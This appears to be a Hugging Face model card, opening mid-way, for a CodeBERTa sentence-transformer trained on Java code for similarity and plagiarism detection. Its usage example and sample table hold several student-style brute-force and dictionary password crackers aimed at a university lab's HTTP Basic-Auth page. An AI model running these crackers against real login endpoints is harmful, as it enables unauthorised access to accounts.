\ = 0;\n int l = 65;int m = 65;int n = 65;\n URLConnection conn = null;\n\n\
\ public static void main(String args[]){\n \n\tBruteforce a = new Bruteforce();\n\
\ a.attack(args);\n }\n\n public void attack(String args[]) {\n \
\ try {\n\n String login = new String(\"\");\n String url = new String(\"\
http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new\
\ String();\n\n\t passwd = getPasswd();\n BufferedReader in = new BufferedReader(\
\ new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n\
\ String line;\n while ((line = in.readLine()) != null) {\n \
\ System.out.println(line);\n }\n System.out.println(\"\
Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\
\ is :\" + passwd + \"and got after \" + attempts + \" tries\");\n }\n \
\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\
\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \
\ System.out.println(\"Trying again with new password\");\n Bruteforce a =\
\ new Bruteforce();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"\
Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n\
\ }\n }\n }\n public String getPasswd()\n {\n attempts++;\n\n \
\ char i1 = 0;\n char j1 = 0;\n char k1 = 0;\n \n int i= l; \
\ int j= m; int k= n;\n\n String c = new String();\n String c1 = new\
\ String();\n String c2 = new String();\n String c3 = new String();\n \
\ String c4 = new String();\n boolean flag;\n\n for (i=l;i<123;i++)\n \
\ for (j=m;j<123;j++)\n for (k=n;k<123;k++)\n {\n if( flag = true\
\ )\n {\n\n i1 = (char)i;\n j1 = (char)j;\n k1 = (char)k;\n\n\
\ if (i==91) i=97;\n if (j==91) j=97;\n if (k==91) k=97;\n\n c = i1+\"\
\";\n c1 = j1+\"\";\n c2 = k1+\"\";\n c3 = c.concat(c1);\n c4 = c3.concat(c2);\n\
\ }else break;\n }\n flag = false;\n return c4;\n }\n\n public InputStream\
\ openURLForInput (URL url, String uname, String pword)\n throws IOException \
\ {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty\
\ (\"Authorization\", PasswordBase64(uname,pword));\n conn.connect ();\n \
\ return conn.getInputStream();\n }\n\n\n public String PasswordBase64(String\
\ username, String password) {\n return \" \" + base64Encode (username + \"\
:\" + password);\n }\n\n private final static char base64Array [] = {\n \
\ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M',\
\ 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y',\
\ 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm',\
\ 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y',\
\ 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\
\n private static String base64Encode (String string) {\n String encodedString\
\ = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int\
\ pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n \
\ byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2\
\ = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n \
\ b2 = bytes [i++];\n if (i >= bytes.length) {\n b3\
\ = 0;\n pad = 1;\n }\n else\n b3\
\ = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte\
\ c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 &\
\ 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n"
datasets:
- buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers
---
# SentenceTransformer based on huggingface/CodeBERTa-small-v1
This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) on the [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
## Model Details
### Model Description
- **Model Type:** Sentence Transformer
- **Base model:** [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) <!-- at revision e93b5898cff07f03f1c1c09cde284d1b85962363 -->
- **Maximum Sequence Length:** 512 tokens
- **Output Dimensionality:** 768 dimensions
- **Similarity Function:** Cosine Similarity
- **Training Dataset:**
- [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java)
<!-- - **Language:** Unknown -->
<!-- - **License:** Unknown -->
### Model Sources
- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)
### Full Model Architecture
```
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
```
## Usage
### Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
```bash
pip install -U sentence-transformers
```
Then you can load this model and run inference.
```python
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codeberta-cmnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n URLConnection conn = null;\n private static boolean status = false;\n\n public static void main (String args[]){\n Dictionary a = new Dictionary();\n String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n \t\t\t\t "",\n \t\t\t\t ""};\n File file = new File("words");\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader in = new BufferedReader(\n new InputStreamReader\n (connectURL(new URL(args[0]), args[1], args[2])));\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n status = true;\n }\n }\n catch (IOException e) {\n \n }\n }\n\n public InputStream connectURL (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setRequestProperty ("Authorization",\n userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n public String userNamePasswordBase64(String username, String password) {\n return " " + base64Encode (username + ":" + password);\n }\n\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n private static String base64Encode (String string) {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n }\n\n',
'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public void attack(String args[]) {\n try {\n String login = new String("");\n String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n String passwd = new String();\n\n\n passwd = getPasswd();\n BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n }\n System.out.println("Password Cracked Successfully!!!");\n System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n }\n catch (IOException e) {\n \n String r = new String(e.getMessage());\n if ( r != null)\n {\n System.out.println("Message :" +r);\n Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n String currentword = "";\n String se = "";\n try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n\n public String userNamePasswordBase64(String username, String password) {\n return " " + base64Encode (username + ":" + password);\n }\n\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n private static String base64Encode (String string) {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n }\n\n',
'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n protected String wordFile;\n\n public Dictionary()\n {\n super();\n }\n\n public static void main(String[] args)\n {\n Dictionary dictionary = new Dictionary();\n\n if (args.length < 3)\n {\n System.out.println(dictionary.printUsage());\n }\n else\n {\n dictionary.setURL(args[0]);\n dictionary.setUserName(args[1]);\n dictionary.setWordFile(args[2]);\n\n if (args.length > 3)\n {\n dictionary.setFileName(args[3]);\n }\n dictionary.process();\n System.out.println(dictionary.printResult());\n System.exit(1);\n }\n }\n\n public void process()\n {\n attempts = 0;\n String password = "";\n \n setStart(new Timestamp(System.currentTimeMillis()));\n\n BufferedReader input = null;\n try\n {\n FileReader file = new FileReader(getWordFile());\n \n input = new BufferedReader(file);\n \n }\n catch (FileNotFoundException x)\n {\n System.err.println("File not found: " + getWordFile());\n System.exit(2);\n }\n\n try\n {\n while ((password = input.readLine()) != null)\n {\n try\n {\n \n attempts++;\n BasicAuthHttpRequest req =\n new BasicAuthHttpRequest(\n getURL(),\n getUserName(),\n password);\n setPassword(password);\n setEnd(new Timestamp(System.currentTimeMillis()));\n setContent(req.getContent().toString());\n\n \n if (getFileName() != null\n && getFileName().length() > 0)\n {\n createReport();\n }\n return;\n }\n catch (MalformedURLException e)\n {\n e.printStackTrace();\n return;\n }\n catch (IOException e)\n {\n\n }\n }\n }\n catch (IOException x)\n {\n x.printStackTrace();\n }\n\n \n setEnd(new Timestamp(System.currentTimeMillis()));\n\n }\n\n public String printUsage()\n {\n StringBuffer s = new StringBuffer();\n\n s.append("** BruteForce proper usage **\\n\\n");\n s.append(\n "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n return s.toString();\n }\n \n public String getWordFile()\n {\n return wordFile;\n }\n\n \n public void setWordFile(String string)\n {\n wordFile = string;\n }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[ 1.0000, 0.8625, -0.2266],
# [ 0.8625, 1.0000, -0.2449],
# [-0.2266, -0.2449, 1.0000]])
```
<!--
### Direct Usage (Transformers)
<details><summary>Click to see the direct usage in Transformers</summary>
</details>
-->
<!--
### Downstream Usage (Sentence Transformers)
You can finetune this model on your own dataset.
<details><summary>Click to expand</summary>
</details>
-->
<!--
### Out-of-Scope Use
*List how the model may foreseeably be misused and address what users ought not to do with the model.*
-->
<!--
## Bias, Risks and Limitations
*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*
-->
<!--
### Recommendations
*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*
-->
## Training Details
### Training Dataset
#### soco_train_java
* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476)
* Size: 42,960 training samples
* Columns: <code>anchor_code</code>, <code>positive_code</code>, and <code>negative_code</code>
* Approximate statistics based on the first 1000 samples:
| | anchor_code | positive_code | negative_code |
|:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|
| type | string | string | string |
| details | <ul><li>min: 512 tokens</li><li>mean: 512.0 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 512 tokens</li><li>mean: 512.0 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 456.08 tokens</li><li>max: 512 tokens</li></ul> |
* Samples:
| anchor_code | positive_code | negative_code |
|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <code>import java.net.*;<br>import java.io.*;<br>import java.*;<br><br> public class Dictionary {<br><br> URLConnection conn = null;<br> private static boolean status = false;<br><br> public static void main (String args[]){<br> Dictionary a = new Dictionary();<br> String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",<br> "",<br> ""};<br> File file = new File("words");<br> exit:<br> try {<br> BufferedReader in = new BufferedReader(new FileReader(file));<br> int attempt = 0;<br> inp[2] = in.readLine();<br> while (inp[2] != null) {<br> <br> if (inp[2].length() <= 3) {<br> attempt++;<br> a.doit(inp);<br> if (status) {<br> System.out.println("Crrect password is: " + inp[2]);<br> System.out.println("Number of attempts = " + attempt);<br> break exit;<br> }<br> }<br> inp[2] = in.readLine();<br> }<br> } catch (FileNotFoundException e1) {<br> <br> System.err.println("File not found: " + file);<br> } catch (IOException e2) {<br> <br> e2.printStackTrace();<br> }<br><br> }<br><br> public void doit(String ar...</code> | <code>import java.net.*;<br>import java.io.*;<br><br> public class Dictionary {<br> int attempts = 0;<br> URLConnection conn = null;<br><br> public static void main (String args[]){<br><br> Dictionary a = new Dictionary();<br> a.attack(args);<br> }<br><br> public void attack(String args[]) {<br> try {<br> String login = new String("");<br> String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");<br> String passwd = new String();<br><br><br> passwd = getPasswd();<br> BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));<br><br> String line;<br> while ((line = in.readLine()) != null) {<br> System.out.println(line);<br> }<br> System.out.println("Password Cracked Successfully!!!");<br> System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");<br> }<br> catch (IOException e) {<br> <br> String r = new String(e.getMessage());<br> if ( r != null)<br> {<br> System.out.println...</code> | <code> <br><br><br>import java.io.*;<br>import java.net.*;<br><br>import java.util.*;<br><br>import java.misc.BASE64Encoder;<br><br>public class Dictionary {<br><br> private String userId;<br> private String password;<br><br> ReadDictionary myWords = new ReadDictionary();<br><br> public Dictionary() {<br><br> <br> myWords.openFile();<br><br> <br> Authenticator.setDefault (new MyAuthenticator());<br> <br> <br> }<br><br> public String fetchURL (String urlString) {<br><br><br> StringBuffer sb = new StringBuffer();<br> HttpURLConnection connection;<br> Date startTime, endTime;<br> int responseCode = -1;<br> boolean retry = true; <br> <br> URL url;<br> startTime = new Date();<br> <br> System.out.println (" time :" + startTime);<br><br> while (retry == true)<br> {<br> <br> try {<br><br> url = new URL (urlString);<br><br> connection = (HttpURLConnection)url.openConnection();<br><br> setUserId("");<br> setPassword("rhk8611");<br><br> System.out.println("Attempting get a response : " +connection.getURL() );<br> responseCode = connection.getResponseCode();<br> System.out.print(responseCode + " ");<br><br> if (responseCode == HttpURLCo...</code> |
| <code>import java.net.*;<br>import java.io.*;<br>import java.*;<br><br> public class Dictionary {<br><br> URLConnection conn = null;<br> private static boolean status = false;<br><br> public static void main (String args[]){<br> Dictionary a = new Dictionary();<br> String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",<br> "",<br> ""};<br> File file = new File("words");<br> exit:<br> try {<br> BufferedReader in = new BufferedReader(new FileReader(file));<br> int attempt = 0;<br> inp[2] = in.readLine();<br> while (inp[2] != null) {<br> <br> if (inp[2].length() <= 3) {<br> attempt++;<br> a.doit(inp);<br> if (status) {<br> System.out.println("Crrect password is: " + inp[2]);<br> System.out.println("Number of attempts = " + attempt);<br> break exit;<br> }<br> }<br> inp[2] = in.readLine();<br> }<br> } catch (FileNotFoundException e1) {<br> <br> System.err.println("File not found: " + file);<br> } catch (IOException e2) {<br> <br> e2.printStackTrace();<br> }<br><br> }<br><br> public void doit(String ar...</code> | <code>import java.net.*;<br>import java.io.*;<br><br> public class Dictionary {<br> int attempts = 0;<br> URLConnection conn = null;<br><br> public static void main (String args[]){<br><br> Dictionary a = new Dictionary();<br> a.attack(args);<br> }<br><br> public void attack(String args[]) {<br> try {<br> String login = new String("");<br> String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");<br> String passwd = new String();<br><br><br> passwd = getPasswd();<br> BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));<br><br> String line;<br> while ((line = in.readLine()) != null) {<br> System.out.println(line);<br> }<br> System.out.println("Password Cracked Successfully!!!");<br> System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");<br> }<br> catch (IOException e) {<br> <br> String r = new String(e.getMessage());<br> if ( r != null)<br> {<br> System.out.println...</code> | <code><br><br>public class Base64 {<br><br> final static String baseTable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";<br><br> <br> public static String encode(byte[] bytes) {<br><br> String tmp = "";<br> int i = 0;<br> byte pos; <br><br> for(i=0; i < (bytes.length - bytes.length%3); i+=3) {<br><br> pos = (byte) ((bytes[i] >> 2) & 63); <br> tmp = tmp + baseTable.charAt(pos); <br><br> pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); <br> tmp = tmp + baseTable.charAt( pos );<br> <br> pos = (byte) (((bytes[i+1] & 15) << 2) + ((bytes[i+2] >> 6) & 3));<br> tmp = tmp + baseTable.charAt(pos);<br> <br> pos = (byte) (((bytes[i+2]) & 63));<br> tmp = tmp + baseTable.charAt(pos);<br> <br> <br> <br> if(((i+2)%56) == 0) {<br> tmp = tmp + "\r\n";<br> }<br> }<br><br> if(bytes.length % 3 != 0) {<br><br> if(bytes.length % 3 == 2) {<br><br> pos = (byte) ((bytes[i] >> 2) & 63); <br> tmp = tmp + baseTable.charAt(pos); <br><br> pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); <br> tmp = tmp + baseTable.charAt( pos );<br> <br> ...</code> |
| <code>import java.net.*;<br>import java.io.*;<br>import java.*;<br><br> public class Dictionary {<br><br> URLConnection conn = null;<br> private static boolean status = false;<br><br> public static void main (String args[]){<br> Dictionary a = new Dictionary();<br> String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",<br> "",<br> ""};<br> File file = new File("words");<br> exit:<br> try {<br> BufferedReader in = new BufferedReader(new FileReader(file));<br> int attempt = 0;<br> inp[2] = in.readLine();<br> while (inp[2] != null) {<br> <br> if (inp[2].length() <= 3) {<br> attempt++;<br> a.doit(inp);<br> if (status) {<br> System.out.println("Crrect password is: " + inp[2]);<br> System.out.println("Number of attempts = " + attempt);<br> break exit;<br> }<br> }<br> inp[2] = in.readLine();<br> }<br> } catch (FileNotFoundException e1) {<br> <br> System.err.println("File not found: " + file);<br> } catch (IOException e2) {<br> <br> e2.printStackTrace();<br> }<br><br> }<br><br> public void doit(String ar...</code> | <code>import java.net.*;<br>import java.io.*;<br><br> public class Dictionary {<br> int attempts = 0;<br> URLConnection conn = null;<br><br> public static void main (String args[]){<br><br> Dictionary a = new Dictionary();<br> a.attack(args);<br> }<br><br> public void attack(String args[]) {<br> try {<br> String login = new String("");<br> String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");<br> String passwd = new String();<br><br><br> passwd = getPasswd();<br> BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));<br><br> String line;<br> while ((line = in.readLine()) != null) {<br> System.out.println(line);<br> }<br> System.out.println("Password Cracked Successfully!!!");<br> System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");<br> }<br> catch (IOException e) {<br> <br> String r = new String(e.getMessage());<br> if ( r != null)<br> {<br> System.out.println...</code> | <code><br><br>import java.net.*;<br>import java.io.IOException;<br>import java.util.*;<br>import java.io.*;<br>public class Dictionary {<br> static String userName;<br> static URL url;<br> static URLAuthenticator urlAuthenticator;<br> static int noOfAttempts;<br> <br> public Dictionary() {<br> }<br><br> public static void main (String args[]) {<br> Properties props = System.getProperties();<br> props.put("http.proxyHost", "bluetongue.cs.rmit.edu.:8080");<br> <br> System.out.println(props.get("http.proxyHost"));<br> BufferedReader inFile = null;<br> <br> try {<br> if (args.length < 1) { <br> System.out.println ("Usage : java Dictionary /usr/share/lib/dict/words");<br> System.exit(1);<br> } <br> inFile = new BufferedReader (new FileReader(args[0]));<br><br><br><br> breakPassword(inFile);<br> }<br> <br> catch (FileNotFoundException e) { <br> System.err.println(e.getMessage());<br> System.exit(1);<br> }<br> catch (IOException e) { <br> ...</code> |
* Loss: [<code>CachedMultipleNegativesRankingLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#cachedmultiplenegativesrankingloss) with these parameters:
```json
{
"scale": 20.0,
"similarity_fct": "cos_sim",
"mini_batch_size": 32,
"gather_across_devices": false
}
```
### Training Hyperparameters
#### Non-Default Hyperparameters
- `per_device_train_batch_size`: 16
- `learning_rate`: 2e-05
- `num_train_epochs`: 1
- `warmup_ratio`: 0.1
- `fp16`: True
- `batch_sampler`: no_duplicates
#### All Hyperparameters
<details><summary>Click to expand</summary>
- `overwrite_output_dir`: False
- `do_predict`: False
- `eval_strategy`: no
- `prediction_loss_only`: True
- `per_device_train_batch_size`: 16
- `per_device_eval_batch_size`: 8
- `per_gpu_train_batch_size`: None
- `per_gpu_eval_batch_size`: None
- `gradient_accumulation_steps`: 1
- `eval_accumulation_steps`: None
- `torch_empty_cache_steps`: None
- `learning_rate`: 2e-05
- `weight_decay`: 0.0
- `adam_beta1`: 0.9
- `adam_beta2`: 0.999
- `adam_epsilon`: 1e-08
- `max_grad_norm`: 1.0
- `num_train_epochs`: 1
- `max_steps`: -1
- `lr_scheduler_type`: linear
- `lr_scheduler_kwargs`: {}
- `warmup_ratio`: 0.1
- `warmup_steps`: 0
- `log_level`: passive
- `log_level_replica`: warning
- `log_on_each_node`: True
- `logging_nan_inf_filter`: True
- `save_safetensors`: True
- `save_on_each_node`: False
- `save_only_model`: False
- `restore_callback_states_from_checkpoint`: False
- `no_cuda`: False
- `use_cpu`: False
- `use_mps_device`: False
- `seed`: 42
- `data_seed`: None
- `jit_mode_eval`: False
- `use_ipex`: False
- `bf16`: False
- `fp16`: True
- `fp16_opt_level`: O1
- `half_precision_backend`: auto
- `bf16_full_eval`: False
- `fp16_full_eval`: False
- `tf32`: None
- `local_rank`: 0
- `ddp_backend`: None
- `tpu_num_cores`: None
- `tpu_metrics_debug`: False
- `debug`: []
- `dataloader_drop_last`: False
- `dataloader_num_workers`: 0
- `dataloader_prefetch_factor`: None
- `past_index`: -1
- `disable_tqdm`: False
- `remove_unused_columns`: True
- `label_names`: None
- `load_best_model_at_end`: False
- `ignore_data_skip`: False
- `fsdp`: []
- `fsdp_min_num_params`: 0
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
- `fsdp_transformer_layer_cls_to_wrap`: None
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
- `parallelism_config`: None
- `deepspeed`: None
- `label_smoothing_factor`: 0.0
- `optim`: adamw_torch_fused
- `optim_args`: None
- `adafactor`: False
- `group_by_length`: False
- `length_column_name`: length
- `ddp_find_unused_parameters`: None
- `ddp_bucket_cap_mb`: None
- `ddp_broadcast_buffers`: False
- `dataloader_pin_memory`: True
- `dataloader_persistent_workers`: False
- `skip_memory_metrics`: True
- `use_legacy_prediction_loop`: False
- `push_to_hub`: False
- `resume_from_checkpoint`: None
- `hub_model_id`: None
- `hub_strategy`: every_save
- `hub_private_repo`: None
- `hub_always_push`: False
- `hub_revision`: None
- `gradient_checkpointing`: False
- `gradient_checkpointing_kwargs`: None
- `include_inputs_for_metrics`: False
- `include_for_metrics`: []
- `eval_do_concat_batches`: True
- `fp16_backend`: auto
- `push_to_hub_model_id`: None
- `push_to_hub_organization`: None
- `mp_parameters`:
- `auto_find_batch_size`: False
- `full_determinism`: False
- `torchdynamo`: None
- `ray_scope`: last
- `ddp_timeout`: 1800
- `torch_compile`: False
